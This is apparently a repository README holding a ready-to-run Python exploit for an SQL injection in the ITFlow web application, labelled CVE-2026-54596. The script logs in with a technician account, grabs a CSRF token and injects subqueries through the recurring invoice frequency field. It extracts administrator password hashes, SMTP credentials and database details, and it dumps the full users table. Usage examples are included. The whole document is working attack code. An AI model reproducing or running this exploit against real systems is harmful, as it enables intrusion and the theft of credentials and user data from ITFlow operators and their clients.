README.md
Rendering markdown...
#!/usr/bin/env python3
import re
import sys
import argparse
import requests
BANNER = r"""
___ _____ ___ _
|_ _|_ _| __| |_____ __ __
| | | | | _|| / _ \ V V /
|___| |_| |_| |_\___/\_/\_/
SQLi — recurring_invoice_frequency
CVE: CVE-2026-54596
Auth: Technician + accessible invoice
by iltosec
"""
TARGETS = {
"adminhash": "(SELECT user_password FROM users LIMIT 1)",
"adminemail": "(SELECT user_email FROM users LIMIT 1)",
"smtppass": "(SELECT config_smtp_password FROM settings)",
"smtpuser": "(SELECT config_smtp_username FROM settings)",
"dbuser": "(SELECT CURRENT_USER())",
"dbversion": "(SELECT VERSION())",
"database": "(SELECT DATABASE())",
}
USER_TYPE = {1: "Agent", 2: "Client"}
PREFIX = "MONTH),recurring_invoice_note="
TAIL = ",recurring_invoice_status=1,recurring_invoice_currency_code=0x61,recurring_invoice_category_id=0,recurring_invoice_client_id=1#"
def payload(subquery):
return PREFIX + subquery + TAIL
def parse_note(html):
m = re.search(r"Notes.*?<div[^>]*card-body[^>]*>\s*(.*?)\s*</div>", html, re.DOTALL)
if m:
raw = re.sub(r"<[^>]+>", "", m.group(1)).strip()
return raw if raw else None
return None
def login(s, base, email, password):
r = s.post(f"{base}/login.php", data={"email": email, "password": password, "login": "1"}, allow_redirects=False)
return r.status_code in (301, 302)
def get_csrf(s, base):
for page in ("agent/invoices.php", "agent/clients.php", "agent/tickets.php"):
m = re.search(r'name="csrf_token"\s+value="([^"]{10,})"', s.get(f"{base}/{page}").text)
if m:
return m.group(1)
return None
def fire(s, base, csrf, invoice_id, subquery):
p = payload(subquery)
if len(p) > 200:
print(f" [-] Payload too long ({len(p)}/200): {subquery}")
return None
r = s.post(f"{base}/agent/post.php", data={
"add_invoice_recurring": "1",
"csrf_token": csrf,
"invoice_id": invoice_id,
"frequency": p,
}, allow_redirects=True)
if not re.search(r"recurring_invoice_id=(\d+)", r.url):
return None
return parse_note(r.text) or ""
def extract_users(s, base, csrf, invoice_id):
count_raw = fire(s, base, csrf, invoice_id, "(SELECT COUNT(*) FROM users)")
if not count_raw or not count_raw.isdigit():
print(" [-] Failed to get user count")
return
count = int(count_raw)
print(f"\n Users ({count} total)\n")
print(f" {'#':<4} {'Name':<20} {'Email':<30} {'Type':<10} Hash")
print(f" {'-'*100}")
for i in range(count):
row = {}
for col in ("user_name", "user_email", "user_type", "user_password"):
row[col] = fire(s, base, csrf, invoice_id, f"(SELECT {col} FROM users LIMIT {i},1)") or "(null)"
utype = USER_TYPE.get(int(row["user_type"]) if row["user_type"].isdigit() else 0, row["user_type"])
print(f" {i+1:<4} {row['user_name']:<20} {row['user_email']:<30} {utype:<10} {row['user_password']}")
def main():
parser = argparse.ArgumentParser(
prog="exploit.py",
description="ITFlow CVE-2026-54596 - SQL Injection via recurring_invoice_frequency (agent/post/recurring_invoice.php:43) - by iltosec",
formatter_class=argparse.RawTextHelpFormatter,
epilog=(
"Examples:\n"
" python exploit.py http://itflow.com [email protected] 'P@ss!' 1 --all\n"
" python exploit.py http://itflow.com [email protected] 'P@ss!' 2 --all\n"
" python exploit.py http://itflow.com [email protected] 'P@ss!' 2 --adminhash --smtppass\n"
" python exploit.py http://itflow.com [email protected] 'P@ss!' 2 --users\n"
" python exploit.py http://itflow.com [email protected] 'P@ss!' 2 --dbuser --dbversion"
),
)
parser.add_argument("url", help="Target base URL")
parser.add_argument("email", help="Login email")
parser.add_argument("password", help="Login password")
parser.add_argument("invoice_id", help="Invoice ID the attacker can access")
parser.add_argument("--adminhash", action="store_true")
parser.add_argument("--adminemail", action="store_true")
parser.add_argument("--smtppass", action="store_true")
parser.add_argument("--smtpuser", action="store_true")
parser.add_argument("--dbuser", action="store_true")
parser.add_argument("--dbversion", action="store_true")
parser.add_argument("--database", action="store_true")
parser.add_argument("--users", action="store_true", help="Dump all users table")
parser.add_argument("--all", action="store_true", help="Run all extractions")
args = parser.parse_args()
print(BANNER)
base = args.url.rstrip("/")
if args.all:
selected = list(TARGETS.keys())
run_users = True
else:
selected = [k for k in TARGETS if getattr(args, k, False)]
run_users = args.users
if not selected and not run_users:
parser.print_help()
sys.exit(1)
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0"
print(f"[*] {base} | {args.email}")
if not login(s, base, args.email, args.password):
print("[-] Login failed")
sys.exit(1)
csrf = get_csrf(s, base)
if not csrf:
print("[-] CSRF token not found")
sys.exit(1)
print(f"[+] Logged in | CSRF: {csrf}")
probe = fire(s, base, csrf, args.invoice_id, "(SELECT 1)")
if probe is None:
print(f"\n[-] Access denied for invoice_id={args.invoice_id}")
print(f" This invoice doesn't exist or belongs to a client")
print(f" that {args.email} cannot access.")
print(f" Try a different invoice_id (one assigned to your client).")
sys.exit(1)
print(f"[+] Injection reachable\n")
for key in selected:
val = fire(s, base, csrf, args.invoice_id, TARGETS[key])
if val is None:
print(f" [-] {key}: blocked")
elif val == "":
print(f" [!] {key}: NULL")
else:
print(f" [+] {key}: {val}")
if run_users:
extract_users(s, base, csrf, args.invoice_id)
print("\n[*] Done.")
if __name__ == "__main__":
main()